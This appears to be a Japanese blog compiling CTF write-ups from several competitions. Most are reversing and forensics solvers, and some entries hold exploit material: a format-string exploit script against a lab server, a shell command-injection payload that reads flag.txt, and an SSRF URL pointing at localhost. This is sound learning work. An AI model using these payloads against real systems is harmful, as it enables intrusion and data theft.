vul_rsa_01
$ python3 RsaCtfTool.py -e 65537 -n 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257 --uncipher 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335 [REDACTED SOME LINES] Unciphered data : HEX : 0x0000000000666c61677b7765616b5f7273615f63616e5f62655f646563727970746564217d INT (big endian) : 46327402297761911070944293204953074319567693047395802794186233938451290661245 INT (little endian) : 62230274487105820292772638823612604590748807093488833479858991971752061223012822008463360 utf-8 : flag{weak_rsa_can_be_decrypted!} STR : b'\x00\x00\x00\x00\x00flag{weak_rsa_can_be_decrypted!}'
Flag: flag{weak_rsa_can_be_decrypted!}
vul_rsa_02
$ python3 RsaCtfTool.py -e 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137 -n 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423 --uncipher 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681 [REDACTED SOME LINES] Unciphered data : HEX : 0x00026d79a6fba2741958ce82462855a96ec4dc1623133cfc341579920befc02eb7b9e0a3bbb87200666c61677b3139375f4d69636861656c5f4a5f5769656e65725f3637337d INT (big endian) : 139798168458800312619727954564053595602272620374704334322644822890230408773803390124016933159608289280352695220195070051973287657162728356081272992926853175686148989 INT (little endian) : 1845704400959999148955767357764584773879807573417556934806144078363531192151775289329637546633081241953731286516885596747340023540455177925029084293276584228646671942144 utf-16 : Ȁ祭ﮦ璢堙苎⡆쑮ᛜጣﰼᔴ鉹⻀릷ꏠ뢻r汦条ㅻ㜹䵟捩慨汥䩟坟敩敮彲㜶紳 STR : b'\x00\x02my\xa6\xfb\xa2t\x19X\xce\x82F(U\xa9n\xc4\xdc\x16#\x13<\xfc4\x15y\x92\x0b\xef\xc0.\xb7\xb9\xe0\xa3\xbb\xb8r\x00flag{197_Michael_J_Wiener_673}'
Flag: flag{197_Michael_J_Wiener_673}
Rev
Helloworld
Ghidraなどのツールを用いて解析することで、FlagがXOR (key: 0x4e) でエンコードされてハードコードされていることがわかる。以下のようなスクリプトを用いることでFlagを入手することができる。
Solver:
flag_dat = [0x28, 0x22, 0x2f, 0x29, 0x35, 0x28, 0x3c, 0x2b, 0x2b, 0x11, 0x28, 0x2f, 0x27, 0x3c, 0x11, 0x2f, 0x20, 0x2a, 0x11, 0x3d, 0x2b, 0x2d, 0x3b, 0x3c, 0x2b, 0x11, 0x2d, 0x37, 0x2c, 0x2b, 0x3c, 0x3d, 0x3e, 0x2f, 0x2d, 0x2b, 0x33] i = 0 while i < 0x25: print(chr(flag_dat[i] ^ 0x4e), end='') i += 1
Output:
> python .\solver.py flag{free_fair_and_secure_cyberspace}
つい癖でFlagの出力部分を静的解析してしまったが、落ち着いてコードを読めば態々こんなことをしなくても実行時の引数に flag
を付けるだけでFlagを入手できることがわかる。
> .\helloworld.exe flag flag{free_fair_and_secure_cyberspace}
Flag: flag{free_fair_and_secure_cyberspace}
ELF
ELFファイルのヘッダ部分が書き換えられているので、修正して実行するとFlagを入手することができる。
$ ./elf flag{run_makiba}
Flag: flag{run_makiba}
Passcode
Ghidraなどのツールを用いて解析することで、プログラムが要求しているパスコードが 20150109
であることがわかる。このパスコードの先頭に flag{
, 終末に }
を付与した文字列がFlagである。
Flag: flag{20150109}
Passcode2
Passcodeでは平文で管理されていたパスコードをXOR (key: 0x2a) エンコードしている。デコンパイルによって得た情報をもとに、以下のようなスクリプトを作成することでFlagを入手することができる。
Solver:
a = bytearray(b'\x1e\x1b\x1a\x18\x04\x5a\x4f\x79\x04\x1f\x18') i = 0 flag = '' while i < 0xb: flag += chr(a[i] ^ 0x2a) i += 1 print('flag{' + ''.join(list(reversed(flag))) +'}')
Output:
> python .\solver.py flag{25.Sep.2014}
Flag: flag{25.Sep.2014}
to_analyze
_CorExeMain()
関数の存在から、.NETアプリケーションであることが推測できる。dotPeek
などのツールを用いてデコンパイルする。Directoryが存在するか確かめているコードを見つけることができるので、引数として渡されている値を以下のようなスクリプトを用いて求める。
numArray = [65, 127, 89, 80, 182, 160, 183, 182, 89, 118, 119, 116, 177, 189, 177] def a(b, i): if i == 119: if b == 107 or b == 117 or b == 108 or b == 102 or b == 98: return True elif b == 110 or b == 119 or (b == 99 or b == 111) or (b == 97 or b == 101 or (b == 112 or b == 103)) or (b == 108 or b == 107 or (b == 112 or b == 113)): return True return False def b(b, i): if i == 39: b ^= 19 elif i == 114: b ^= 40 return b for i in range(len(numArray)): numArray[i] ^= 35 if a(numArray[i], 119): numArray[i] += 3 numArray[i] ^= 21 numArray[i] -= 32 numArray[i] = b(numArray[i], 39) for fch in numArray: print(chr(fch), end='')
Output:
> python .\solver.py C:\Users\321txt
同じ要領でFlagの出力部分を解析しても良いが、面倒だったので上記のフォルダを検証環境上に作成しプログラムを実行した。
Output:
> .\to_analyze.exe Yes, that's the right answer. flag{Do_y0u_Kn0w_Ursnif?}
Flag: flag{Do_y0u_Kn0w_Ursnif?}
Forensics
paint_flag
配布された docx
ファイルをZIPファイルとして解凍し word\media\flag.png
を発見することでFlagを入手することができる。
Flag: flag{What_m4tters_is_inside;)}
ImapMail\mail.setodanote.net\Sent-1
を読むとBase64エンコードされたZIPファイルを発見することができる。Pythonなどを用いてBase64デコードを行いZIPファイルを出力し、そのZIPファイルを解凍し格納されていた goodjob.png
を発見することでFlagを入手することができる。
Flag: flag{You've_clearly_done_a_good_job_there!!}
Deletedfile
配布されたディスクイメージファイルのroot直下に存在する secret_word.jpg
を発見することでFlagを入手することができる。
Flag: flag{nosce_te_ipsum}
Timeline
DB Browser for SQLite (URL)などを用いて ActivitiesCache.db
を調査すると、Flagが一文字ずつテキストファイルのファイル名として隠されていることがわかる。適切なフィルタなどを用いつつ文字を繋ぎ合わせることでFlagを入手することができる。
Flag: flag{Th3_Fu7Ure_1s_N0w}
browser_db
BrowsingHistoryView (URL)などを用いて stella_9s84jetw.default-release_places.sqlite
を調査することでFlagを入手することができる。
Flag: flag{goosegoosego}
MFT
MFTExplorer (URL)などを用いてC_$MFT
を調査することでFlagを入手することができる。
Flag: flag{kimitsu.zip}
tkys_another_day
apngdis
などを用いてPNGファイルを分割し、合成することでFlagを入手することができる。
$ apngdis t.png APNG Disassembler 2.9 Reading 't.png'... extracting frame 1 of 5 extracting frame 2 of 5 extracting frame 3 of 5 extracting frame 4 of 5 extracting frame 5 of 5 all done
合成後の画像:
Flag: flag{a_fake_illness_is_the_most_serious_disease_f5ab7}
CSIRT_asks_you_01
FullEventLogView (URL)などを用いて配布されたイベントログファイルをID: 4624を中心に調査することでFlagを入手することができる。
Flag: flag{2021/07/18_20:09:21_4624}
unallocated_space
未使用領域から動画ファイル (MP4形式) を抽出すればFlagを入手することができる。Foremostを用いてカービングを行おうとしたが失敗したので、バイナリエディタを用いて手動で抽出を行った。
Flag: flag{file_carving_gogo}
Programming
ZZZIPPP
以下のソルバを実行すると flag.txt
が解凍され、Flagを入手することができる。
Solver:
import zipfile nlist = list(range(1, 1001)) nlist.reverse() for i in nlist: with zipfile.ZipFile('flag' + str(i) + '.zip') as fzip: fzip.extractall()
Flag: flag{loop-zip-1989-zip-loop}
echo_me
以下のソルバを実行すればFlagを入手することができる。
Solver:
from pwn import * r = remote('10.1.1.10', 12020) while True: try: r.recvuntil(b'echo me: ') et = r.recvuntil(b'\n') r.send(et) except: r.interactive()
Output:
$ python3 echome_solve.py [+] Opening connection to 10.1.1.10 on port 12020: Done [*] Switching to interactive mode ========== Correct! flag{Hellow_yamabiko_Yoo-hoo!}
Flag: flag{Hellow_yamabiko_Yoo-hoo!}
EZZZIPPP
以下のソルバを実行すると flag.txt
が解凍され、Flagを入手することができる。
Solver:
import os import zipfile nlist = list(range(1, 1001)) nlist.reverse() for i in nlist: with open('pass.txt', 'r') as pf: passwd = pf.read()[:-1] os.remove('pass.txt') with zipfile.ZipFile('flag' + str(i) + '.zip') as fzip: fzip.extractall(pwd=passwd.encode())
Flag: flag{bdf574f15645df736df13daef06128b8}
deep_thought
以下のソルバを実行すればFlagを入手することができる。
Solver:
from pwn import * r = remote('10.1.1.10', 12010) while True: try: if input(r.recvuntil(b'\n').decode()[:-1] + ' > ') == 'n': r.interactive() et = r.recvuntil(b'\n').decode()[:-1].split(' ') if et[1] == '+': r.send(str(int(et[0])+int(et[2])) + '\n') elif et[1] == '-': r.send(str(int(et[0])-int(et[2])) + '\n') r.recvuntil(b'\n') r.recvuntil(b'\n') except: r.interactive()
Output:
$ python3 deep_solve.py [+] Opening connection to 10.1.1.10 on port 12010: Done [ Q1 ] > [ Q2 ] > [ Q3 ] > [ Q4 ] > [ Q5 ] > [ Q6 ] > [ Q7 ] > [ Q8 ] > [ Q9 ] > [ Q10 ] > [ Q11 ] > [ Q12 ] > [ Q13 ] > [ Q14 ] > [ Q15 ] > [ Q16 ] > [ Q17 ] > [ Q18 ] > [ Q19 ] > [ Q20 ] > [ Q21 ] > [ Q22 ] > [ Q23 ] > [ Q24 ] > [ Q25 ] > [ Q26 ] > [ Q27 ] > [ Q28 ] > [ Q29 ] > [ Q30 ] > [ Q31 ] > [ Q32 ] > [ Q33 ] > [ Q34 ] > [ Q35 ] > [ Q36 ] > [ Q37 ] > [ Q38 ] > [ Q39 ] > [ Q40 ] > [ Q41 ] > [ Q42 ] > [ Q43 ] > [ Q44 ] > [ Q45 ] > [ Q46 ] > [ Q47 ] > [ Q48 ] > [ Q49 ] > [ Q50 ] > flag{__42__} > [*] Switching to interactive mode [*] Got EOF while reading in interactive
Flag: flag{__42__}
Pwn
tkys_let_die
$ nc 10.1.1.10 13020 {} {} ! ! ! II II ! ! ! ! I__I__I_II II_I__I__I ! I_/|__|__|_|| ||_|__|__|\_I ! /|_/| | | || || | | |\_|\ ! .--. I//| | | | || || | | | |\\I .--. /- \ ! /|/ | | | | || || | | | | \|\ ! /= \ \=__ / I//| | | | | || || | | | | |\\I \-__ / } { ! /|/ | | | | | || || | | | | | \|\ ! } { {____} I//| | | | | | || || | | | | | |\\I {____} _!__!__|= |=/|/ | | | | | | || || | | | | | | \|\=| |__!__!_ _I__I__| ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_ -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|- | | | || | | | | | | | || || | | | | | | | || | | | | | |= || | | | | | | | || || | | | | | | | ||= | | | | | |- || | | | | | | | || || | | | | | | | ||= | | | | | |- || | | | | | | | || || | | | | | | | ||- | | | _|__|__| ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_|| |__|__|_ -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|- | | |- || | | | | | | | || || | | | | | | | ||= | | | ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~ You'll need permission to pass. What's your name? > ABCDEFGHIJKLMNOPQRSTUVWXYZopen ============================= GREAT! GATE IS OPEN!! >> Flag is flag{Alohomora} << *-*-*-*-*-*-*-*-*-*-*-* =============================
Flag: flag{Alohomora}
1989
Solver:
from pwn import * import struct r = remote('10.1.1.10', 13030) r.recvuntil('flag | [') addr = r.recvuntil(']')[:-1].decode() payload = struct.pack('<I', int(addr, 16)) payload += b'%4$s\n' r.send(payload) r.recvuntil('\n') r.recvuntil('\n') r.recvuntil('\n') print(r.recvuntil('\n'))
Output:
$ python3 1989_solver.py [+] Opening connection to 10.1.1.10 on port 13030: Done b'Ready > Your Inpur : `\xf0WVflag{Homenum_Revelio_1989}\n' [*] Closed connection to 10.1.1.10 port 13030
Flag: flag{Homenum_Revelio_1989}
RaRCTF 2021 Writeup
皆様、RaRCTF 2021、お疲れ様でした!
「CTFをたくさんやりたい!」な夏を過ごしている私です。
今回はソロ参加で主にReversing問を解いていました(高得点なものは殆ど解けていませんが)。
ここでWriteupを供養させていただければと思います。
- verybabyrev (rev)
- Dotter (rev)
- RaRPG (rev)
- Infinite Free Trial (rev)
- Very TriVial ReVersing (rev - 解けていない)
- Jammy's Old Infra (rev - 解けていない)
- lemonthinker (web)
- さいごに
verybabyrev (rev)
// わかりやすくするために一部省略しています flag = 0x45481d1217111313; local_100 = 0x95f422c260b4145; local_f8 = 0x541b56563d6c5f0b; local_f0 = 0x585c0b3c2945415f; local_e8 = 0x402a6c54095d5f00; local_e0 = 0x4b5f4248276a0606; local_d8 = 0x6c5e5d432c2d4256; local_d0 = 0x6b315e434707412d; local_c8 = 0x5e54491c6e3b0a5a; local_c0 = 0x2828475e05342b1a; local_b8 = 0x60450073b26111f; local_b0 = 0xa774803050b0d04; local_a8 = 0; printf("Enter your flag: "); fgets((char *)&input,0x80,stdin); i = 0; for (; i < 0x7f; i = i + 1) { *(byte *)((long)&input + (long)i) = *(byte *)((long)&input + (long)i) ^ *(byte *)((long)&input + (long)(i + 1)); } iVar1 = memcmp(&flag,&input,0x61)
Ghidraでデコンパイル結果を読んでいると、プログラム内部で上記のような処理(XORでエンコーディング)が行われていることがわかります。解けなさそうだと最初は思いましたが、Flagの先頭が rarctf{
であるという情報を踏まえれば、下記のスクリプトの要領で解けます。
import string enc = "\x13\x13\x11\x17\x12\x1d\x48\x45" enc += "\x45\x41\x0b\x26\x2c\x42\x5f\x09" enc += "\x0b\x5f\x6c\x3d\x56\x56\x1b\x54" enc += "\x5f\x41\x45\x29\x3c\x0b\x5c\x58" enc += "\x00\x5f\x5d\x09\x54\x6c\x2a\x40" enc += "\x06\x06\x6a\x27\x48\x42\x5f\x4b" enc += "\x56\x42\x2d\x2c\x43\x5d\x5e\x6c" enc += "\x2d\x41\x07\x47\x43\x5e\x31\x6b" enc += "\x5a\x0a\x3b\x6e\x1c\x49\x54\x5e" enc += "\x1a\x2b\x34\x05\x5e\x47\x28\x28" enc += "\x1f\x11\x26\x3b\x07\x50\x04\x06" enc += "\x04\x0d\x0b\x05\x03\x48\x77\x0a" enc += "\x00\x00\x00\x00\x00\x00\x00\x00" flag = "rarctf{" for i in range(7,96): for c1 in string.printable: if ord(flag[i-1]) ^ ord(enc[i-1]) == ord(c1): flag += c1 print(flag)
このスクリプトを実行すると
> python .\verybabyrev.py rarctf{3v3ry_s1ngl3_b4by-r3v_ch4ll3ng3_u535_x0r-f0r_s0m3_r34s0n_4nd_1-d0nt_kn0w_why_dc37158365}
Flagを入手することができます。
Dotter (rev)
問題名の時点で.NET関係だと推測しつつGhidraで解析してみると、やはり.NET関係だったのでdotPeekを用いてデコンパイルして解析しました。内部で行われている処理はとても単純ですし、最悪解析しなくても解ける分 verybabyrev
よりも簡単かもしれませんね。
check = "-|....|.|/|..-.|.-..|.-|--.|/|..|...|/|---|.---|--.-|-..-|.|-.--|...--|..-|--|--..|.....|.--|..|--|.-..|.|.-..|.....|....-|-|.-|.....|-.-|--...|---|.-|--..|-|--.|..---|..---|--...|--.|-...|--..|..-.|-....|-.|.-..|--.-|.--.|.|--...|-|-....|.--.|--..|--...|.-..|.....|-|--.|-.-.|-.|-..|-...|--|--|...--|-..|.-|-.|.-..|.....|/|-...|.-|...|.|...--|..---" fclist = check.split('|') flag = "" for fc in fclist: if fc == "/": flag += ' ' elif fc == ".-": flag += 'A' elif fc == "-...": flag += 'B' elif fc == "-.-.": flag += 'C' elif fc == "-..": flag += 'D' elif fc == ".": flag += 'E' elif fc == "..-.": flag += 'F' elif fc == "--.": flag += 'G' elif fc == "....": flag += 'H' elif fc == "..": flag += 'I' elif fc == ".---": flag += 'J' elif fc == "-.-": flag += 'K' elif fc == ".-..": flag += 'L' elif fc == "--": flag += 'M' elif fc == "-.": flag += 'N' elif fc == "---": flag += 'O' elif fc == ".--.": flag += 'P' elif fc == "--.-": flag += 'Q' elif fc == ".-.": flag += 'R' elif fc == "...": flag += 'S' elif fc == "-": flag += 'T' elif fc == "..-": flag += 'U' elif fc == "...-": flag += 'V' elif fc == ".--": flag += 'W' elif fc == "-..-": flag += 'X' elif fc == "-.--": flag += 'Y' elif fc == "--..": flag += 'Z' elif fc == ".----": flag += '1' elif fc == "..---": flag += '2' elif fc == "...--": flag += '3' elif fc == "....-": flag += '4' elif fc == ".....": flag += '5' elif fc == "-....": flag += '6' elif fc == "--...": flag += '7' elif fc == "---..": flag += '8' elif fc == "----.": flag += '9' elif fc == "-----": flag += '0' print(flag)
かなり長いですが、恐らく想定解だと思います。実行すると以下のようなメッセージが出力されます。
> python .\dotter.py THE FLAG IS OJQXEY3UMZ5WIMLEL54TA5K7OAZTG227GBZF6NLQPE7T6PZ7L5TGCNDBMM3DANL5 BASE32
Base32でデコードしてみると rarctf{d1d_y0u_p33k_0r_5py????_fa4ac605}
というFlagが手に入ります。
RaRPG (rev)
* : プレイヤーの駒 X : 別マップにジャンプするマス W : 壁 ~ : 不明
典型的なゲームでチートするタイプの問題です。クライアント側のバイナリにパッチを当てれば簡単に解くことができます。まずIDAなどでクライアント側のバイナリを解析して、移動周りの処理をしている部分を探します。
今回は2マスずつ移動するように調整してみました。
私の場合は何故かGhidraを使ってパッチを当てると Segmentation Fault
などが発生してパッチされたバイナリを実行できないのでIDAを使用していますが、Ghidra単体でもパッチは可能なはずです。詳しい原因はわかっていないので、今度 010 Editor
で両者(IDAを用いてパッチしたバイナリとGhidraを用いてパッチしたバイナリ)を比較してみようと思います。
Infinite Free Trial (rev)
シリアルコードのようなものを見つければ良いらしいです。
Ghidraで解析してみると、CRCとXORの二段階のチェックでシリアルコードのValidationを行っていることがわかりました。
少し悩みましたが、アルゴリズム的にBruteforceで対応できそうなので、こんなスクリプトを書いてみました。
import string xor_check = [0x09, 0x16, 0x17, 0x0f, 0x17, 0x56, 0x16, 0x44, 0x3a, 0x18, 0x53, 0x6f, 0x14, 0x03, 0x2a, 0x06, 0x6f, 0x31, 0x1c, 0x47, 0x2a, 0x06, 0x2d, 0x5f, 0x51, 0x1b, 0x00, 0x46, 0x4a, 0x00, 0x04, 0x55, 0x66, 0x50, 0x01, 0x4c] flag = "rarctf" for i in range(len(xor_check)): for fc in string.printable: if ord(flag[i]) ^ ord(fc) == xor_check[i]: flag += fc print(flag)
これを実行すると
> python .\iftsolver.py rarctf{welc0m3_t0_y0ur_new_tr14l_281099b9}
Flagを入手することができます。
Very TriVial ReVersing (rev - 解けていない)
V言語で書かれたプログラムらしいということを掴んで、Ghidraでコードを読んでいましたが複雑すぎて理解できず。色々と試行錯誤していたら同時並行で解析していた Jammy's Old Infra
同様、タイムアップで終わってしまいました。他の参加者の方のWriteupを読んで勉強したいと思います。
Jammy's Old Infra (rev - 解けていない)
APK問なので最初に apktool
でデコンパイルしたコードを読んでいると、ユーザー名とパスワードのValidationをライブラリに投げていることがわかりました。 libnative-lib.so
というライブラリが該当する処理を担っているようだったので、Ghidraを用いて解析することにしました。
内部でAES暗号で暗号化されたユーザー名とパスワードを保有しているようだったので、まず共通鍵を取得するためのスクリプトを作成しました。
dat = [0xff3ff9cc, 0xffffffce, 0xff88b0f8, 0xffffff58, 0xdda07cdd, 0xffffff99. 0x8a320600, 0xffffffc9, 0x25b54dda, 0xffffffa8, 0xbe11c670, 0xffffff32, 0x7106bc1a, 0xfffffff0, 0x6525ce47, 0xfffffff2, 0x9a345e8d, 0xffffffc4, 0x665ef7f9, 0xffffff96, 0xa6029980, 0xffffff25, 0x686a361, 0xffffffc1, 0xf985df98, 0xffffff94, 0xd96ab842, 0xffffff7e, 0x26a0bf30, 0xffffffa1, 0x1c38dbd8, 0xffffff9e] res = [0x30] * (0xf + 1) # 最後まで解けていないので間違っているかもしれません for i in range(0, 0x20, 4): res[i] = ~dat[i+1] res[i+1] = ~dat[i+2] res[i+1] = ~dat[i+3] res[i+1] = ~dat[i+4]
次にユーザー名を復号しようと思ったのですが、このタイミングで時間切れになってしまいました。
こちらも他の参加者の方のWriteupを読んでどんな方針で解析していけばいいのか勉強したいと思います。
lemonthinker (web)
Infinite Free Trialを解いた後に lemonthinker
が簡単だという噂を聞いて、そこまで得意ではないweb問ですが手を出してみることにしました。
配布されたソースコードを読むと、明らかにOSコマンドインジェクションの脆弱性がありそうな部分が見つかるので、適当なペイロードを送信してみました。
するとネギの画像を返されるので generate.py
を見てみると、rarctf
が出力に入っていると弾かれることがわかります。そこで $(cat ../flag.txt | cut -c 2-8)
のようなペイロードを投げてみると
問題なくFlagの断片を入手することができました。最初の一文字以外をすべて出力しようとしたところ、画像上のキャラクターが邪魔でうまくいかなかったので、そのまま数文字ずつFlagを集めて、つなぎ合わせればflagが rarctf{b451c-c0mm4nd_1nj3ct10n_f0r-y0u_4nd_y0ur-l3m0nth1nk3rs_d8d21128bf}
だとわかります。
さいごに
私事で忙しく、時間があまり取れなかったとはいえ、簡単な問題しか解くことができず消化不良感を感じています。
まだまだ今夏開催予定のCTFは沢山あるので、今後も沢山解析して勉強していきたいと思います。
皆様、猛暑には注意しつつ、良い夏をお過ごしください。
SECCON CTF for Beginners 2021 Writeup
SECCON Beginners CTF 2021にチームr0bu5tの一員として参加させていただきました。今回はReversing全完を目標にして取り組んで、開始から三時間三十分くらいで目標達成しました。
というわけで、今日からReversing Beginnerを名乗れることになりました (?)。ありがとうございます。
— mopi (@mopisec) 2021年5月22日
感想等は後日書くWriteupにて。#ctf4b pic.twitter.com/Z2byuG1xhh
ありがたいことに一緒に参加してくれたprprhyt氏、kawasin73氏がWeb, Crypto問などに取り組んでくれていたので、残りの時間は色々なカテゴリーの問題を嗜む程度にやってました(解けたとは言っていない)。本当にありがとうございました(and お疲れさまでした)。 :bow:
また運営の皆様もこのような素晴らしいCTFを開催していただきありがとうございました。とても楽しい二日間でした。
本記事には自分が解いた問題に関するWriteupのようなものが書かれているので、参考程度に見ていっていただけたら嬉しいです。
- only_read (rev)
- children (rev)
- please_not_trace_me (rev)
- be_angry (rev)
- firmware (rev)
- simple_RSA (crypto)
- git-leak (misc)
- check-url (web)
- depixelization (misc)
- 全体を通した感想など
only_read (rev)
名前通り。(読むだけ)
Flag: ctf4b{c0n5t4nt_f01d1ng}
children (rev)
配布されたプログラムを実行すると
十個の子プロセスを生成するよ!十個以上生成される場合もあるよ! 子プロセスのプロセスIDを教えて!
という旨のメッセージが表示されるので、指示に従います。
最後に合計で何個の子プロセスが生成されたか聞かれるので、正確な数を答えるとFlagが出ます。
これReversingではなくMiscでは?? :thinking_face:
Flag: ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}
please_not_trace_me (rev)
Flagが出力されないので、gdbなどのデバッガーを使用して確認する必要があるけど、ptraceが入ってるから使えないみたいです。(私はgdbの使い方があまりよくわからなくて二時間ほど溶かしましたが)昨年(SECCON Beginners CTF 2020)の sneaky
という問題を履修していれば簡単に解けます。一応解き方を書いておくと
ポイントとして二つあるptraceの片方が失敗するようになっているので(返り値が0にならない)、そこだけデアセンブルを見ながらメモリに値をgdbを通して書き込むことで回避しました。
Flag: ctf4b{d1d_y0u_d3crypt_rc4?}
be_angry (rev)
angr問。ベースアドレスを指定する必要があるとはいえ、難易度Mediumは言い過ぎな気がしました。まあ解けたのでオッケーです! :+1:
追記: 何ならlambda使えばベースアドレス指定も要らなかった模様。確かに。
>>> p = angr.Project("./chall.3", load_options = {'main_opts':{'base_addr': 0x0000555555555000}}) >>> e = p.factory.entry_state() >>> simgr = p.factory.simulation_manager(e) >>> s = simgr.explore(find=0x555555557532) WARNING | 2021-05-22 16:02:02,887 | angr.storage.memory_mixins.default_filler_mixin | Filling register id with 8 unconstrained bytes referenced from 0x5555555578f9 (_1_main_flag_func_4+0x1f in chall.3 (0x28f9)) WARNING | 2021-05-22 16:02:02,888 | angr.storage.memory_mixins.default_filler_mixin | Filling register ac with 8 unconstrained bytes referenced from 0x5555555578f9 (_1_main_flag_func_4+0x1f in chall.3 (0x28f9)) >>> s <SimulationManager with 2 active, 22 deadended, 1 found> >>> s.found[0].posix.dumps(0) b'ctf4b{3nc0d3_4r1thm3t1c}'
Flag: ctf4b{3nc0d3_4r1thm3t1c}
firmware (rev)
配布されたファイルは実行ファイルかと思いきや、色々な種類のファイルが混ざった闇鍋ファイルでした。目grepしてELFが見えたので適当に抽出してそれをGhidraにかけてフローを読んでいけば、あれやこれやわかって(xorでここのデータをデコードしていて....など)Flagがわかります。問題名がfirmwareだったので「難しそうだな~」と思いましたが、リアルに十分くらいで解けたので普通に簡単でしたね。
......と、思いましたがReversingの中では一番solveが少ない。なぜ。
>>> oridata = [0x30,0x27,0x35,0x67,0x31,0x28,0x3a,0x63,0x27,0x0c,0x37,0x36,0x25,0x62,0x30,0x36,0x0c,0x35,0x3a,0x21,0x3e,0x24,0x67,0x21,0x36,0x0c,0x32,0x3d,0x32,0x62,0x2a,0x20,0x3a,0x60,0x0c,0x21,0x36,0x25,0x60,0x32,0x62,0x20,0x0c,0x32,0x0c,0x3f,0x63,0x27,0x0c,0x3c,0x35,0x0c,0x66,0x36,0x30,0x21,0x36,0x64,0x20,0x2e,0x59] >>> len(oridata) 61 >>> flag = "" >>> i = 0 >>> while i < 61: ... flag = flag + chr(oridata[i] ^ 0x53) ... i = i + 1 ... >>> flag 'ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}\n'
Flag: ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}
以上でReversing問はおわりです。以下はその他の問題のWriteup。
simple_RSA (crypto)
sanity check. 放置されてたので拾ってRsaCtfToolにかけて終わり。
$ python3 RsaCtfTool.py -n 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283 -e 3 --uncipher 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613 ・ ・略 ・ Results for /tmp/tmpk9jnxblb: Unciphered data : HEX : 0x63746634627b302c312c31302c31312e2e2e497427735f736f5f616e6e6f79696e672e5f5f5f49276d5f646f6e657d INT (big endian) : 59794831782110540824905303318706147427325410868387651570741854903973308152253277340232651694780110842176190965117 INT (little endian) : 75391578580851103181433066932790227485569227688076229032569777859612996898560666851200930122567113349338681996387 STR : b"ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}"
git-leak (misc)
自明。まあよくあるやつです。
> git cat-file -p 4cbb035d2ff072127b4e22919485127d2273e88e ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
Flag: ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
check-url (web)
http://0x7f000001
みたいなやつを投げつければflagを出してくれます。
https://check-url.quals.beginners.seccon.jp/?url=http://0x7f000001
Flag: ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}
depixelization (misc)
力技。別にスクリプト書いても良かったけど、こっちの方が早そうだったんで。
Flag: ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}
全体を通した感想など
Crypto周りを担当してくれたprprhyt氏のWriteupも公開されています。こちらも是非お読みください。
去年は二問しか解けなかったReversingが全完できて、普通にはしゃいでしまいました。
(単に全完しただけでなく、全体的に問題が簡単というか自明だったと思えたのも成長を感じられて嬉しかったです。)
とはいえ、まだまだ自分はBeginnerレベルなので精進していかなければと思っています。
今後もRev頑張ります^~ :grin:
最後になりますが、チームメイトおよびスタッフの皆様、本当にありがとうございました! :bow:
Codegate CTF 2018 Preliminary : Welcome to droid
How to solve
> apktool d droid.apk
Edit AndroidManifest.xml
to change the entry point to Main4Activity
.
> apktool b .\droid\ > jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore [REDACTED]\mykey.keystore droid.apk ctf > "[REDACTED]\zipalign.exe" -v 4 droid.apk droid2.apk
Run droid2.apk
on Android emulator.
Flag
FLAG{W3_w3r3_Back_70_$3v3n7een!!!}
ctf4b 2020 Reversing 復習
明日ctf4b 2021やるらしいので去年の問題を復習する。
2021-09-21 : 再走しました (Link)
mask
やるだけ。
>>> import string >>> enc_a = "atd4`qdedtUpetepqeUdaaeUeaqau" >>> enc_b = "c`b bk`kj`KbababcaKbacaKiacki" >>> enc_l = len(enc_a) >>> for i in range(enc_l): ... for char in string.printable: ... if chr(ord(char) & 0x75) == enc_a[i] and chr(ord(char) & 0xeb) == enc_b[i]: ... flag.append(char) ... >>> ''.join(flag) 'ctf4b{dont_reverse_face_mask}'
yakisoba
Ghidraで開いて、findしたいアドレスとavoidしたいアドレスを探す。
今回の場合、0x4006d2
をfindしたくて、0x4006f7
をavoidしたい。
>>> import angr >>> p = angr.Project("./yakisoba") WARNING | 2021-05-21 13:37:30,151 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000. >>> e = p.factory.entry_state() >>> simgr = p.factory.simulation_manager(e) >>> s = simgr.explore(find=0x4006d2, avoid=0x4006f7) >>> s.found[0].posix.dumps(0) b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x00\xd9\xd9\xd9\xd9'
gh0st
流し見して、そういえばあったな~と懐かしみを感じつつ取り組むもGhostScriptなにもわからない状態に陥ったのでbruteで解きました。(語彙力baby) 効率カスですが、まあいいか!
